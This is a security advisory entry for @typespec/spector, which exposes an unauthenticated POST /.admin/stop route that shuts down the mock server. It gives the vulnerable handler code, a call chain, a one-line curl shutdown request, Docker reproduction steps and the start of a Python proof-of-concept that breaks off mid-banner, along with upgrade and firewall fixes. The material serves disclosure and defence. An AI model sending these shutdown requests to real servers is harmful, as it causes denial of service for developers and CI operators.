---
id: "GHSA-7q9c-hpx7-9cwm"
kind: "vulnerability"
aliases: ["GHSA-7q9c-hpx7-9cwm"]
title: "TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop"
severity: "high"
cvss: 7.5
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "@typespec/spector", "fixed": ["0.1.0-alpha.27"], "affected": "<= 0.1.0-alpha.26", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["ci", "cwe-306", "node", "package", "self-hosted", "spector", "typespec"]
not_affected_if: ["firewalled-port", "fixed-version", "localhost-only-binding"]
published_at: "2026-09-04T21:43:13+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:45:37+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-7q9c-hpx7-9cwm", "first_seen_at": "2026-10-23T19:11:32+00:00"}]
---

# TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop

The Spector mock server exposes an unauthenticated POST /.admin/stop route that calls process.exit(0) on the server. Any client that can reach the server port can shut it down with one request, and the default bind on 0.0.0.0 makes that reachable from the network.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:@typespec/spector affected <= 0.1.0-alpha.26 fixed 0.1.0-alpha.27

## How to check

Run: npm ls @typespec/spector  (affected if version is 0.1.0-alpha.26 or earlier)
Check whether the tsp-spector serve port (default 3000) is reachable from other hosts, e.g. curl -i -X POST http://<host>:3000/.admin/stop from another machine would return 202 if exposed.

## Fix

Upgrade @typespec/spector to 0.1.0-alpha.27 or later.
Until upgraded, run tsp-spector serve only on localhost or behind a firewall that blocks the port.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-7q9c-hpx7-9cwm

## From the sources

### Summary

`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.

### Details

The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:

```ts
// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, (_req, res) => {
  logger.info("Received signal to stop server. Exiting...");
  res.status(202).end();
  setTimeout(() => {
    process.exit(0);
  });
});
```

The constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).

The complete attack-reachable call chain is:

1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve <scenariosPaths..>` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.
2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument.
3. **`packages/spector/src/app/app.ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes.
4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`.
5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication.
6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).

There is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.

### PoC

**Prerequisites:**

```
git clone https://github.com/microsoft/typespec
cd typespec
# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)
pnpm install
pnpm build
```

**Step 1 — Start the mock server:**

```bash
pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
# Server listens on 0.0.0.0:3000 by default
```

Alternatively, use the provided Docker environment:

```bash
# Build context: reports/npm_web_64_microsoft__typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector
```

**Step 2 — Execute the exploit (single unauthenticated request):**

```bash
curl -i -X POST http://<server-host>:3000/.admin/stop
```

Using the provided PoC script:

```bash
python3 vuln-002/poc.py --host 127.0.0.1 --port 3001
```

**Step 3 — Observe the result:**

```
HTTP/1.1 202 Accepted
```

The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:

```
info Received signal to stop server. Exiting...
```

Docker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.

### Impact

This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.

The primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.

Although `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
# CWE-306: Missing Authentication for Critical Function  CVSS 7.5 (High)
#
# Build context: reports/npm_web_64_microsoft__typespec/
# Build:  docker build -t vuln002-spector -f vuln-002/Dockerfile .
# Run:    docker run -d -p 3000:3000 --name vuln002-server vuln002-spector

FROM node:22-slim

# Install tsx to run TypeScript source files directly without compilation.
# This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4

WORKDIR /poc

# Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json

# Install only the npm packages actually used by the vulnerable code path:
#   express     — web framework (admin.ts, routes/index.ts, server.ts)
#   picocolors  — terminal colors (logger.ts)
RUN npm install express picocolors

# -----------------------------------------------------------------------
# Copy the EXACT vulnerable source files from the repository.
# No source file is modified — they are used verbatim.
# -----------------------------------------------------------------------

# packages/spector/src/constants.ts
#   Defines AdminUrls.stop = "/.admin/stop"
COPY repo/packages/spector/src/constants.ts ./spector/constants.ts

# packages/spector/src/logger.ts
#   Simple console logger; imported by admin.ts
COPY repo/packages/spector/src/logger.ts ./spector/logger.ts

# packages/spector/src/routes/admin.ts  ← VULNERABILITY SINK
#   Registers POST /.admin/stop with NO authentication → process.exit(0)
COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts

# packages/spector/src/routes/index.ts
#   Mounts adminRoutes at "/"
COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts

# Minimal entry point that connects the router to the HTTP server,
# replicating the behaviour of MockApiApp.start() + MockApiServer.start()
COPY vuln-002/server-entry.ts ./server-entry.ts

EXPOSE 3000

# tsx strips TypeScript types at runtime — no separate compile step needed
CMD ["tsx", "server-entry.ts"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop
Package:   @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
CWE:       CWE-306 — Missing Authentication for Critical Function
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  Base Score: 7.5 (High)

Vulnerability:
  packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without
  any authentication, token, Origin, or IP-source check.  The handler calls
  process.exit(0) after returning HTTP 202.  The server listens on 0.0.0.0
  (packages/spector/src/server/server.ts:88) so any network-reachable client
  can terminate the process with a single unauthenticated POST request.

Usage:
  python3 poc.py [--host HOST] [--port PORT]
"""

import sys
import time
import socket
import argparse
import urllib.request
import urllib.error


BANNER = """
================================================================
VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop
Package : @typespec/spector 0.1.0-alpha.26
CWE     : CWE-306  CVSS 7.5 (High)
=======================================

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_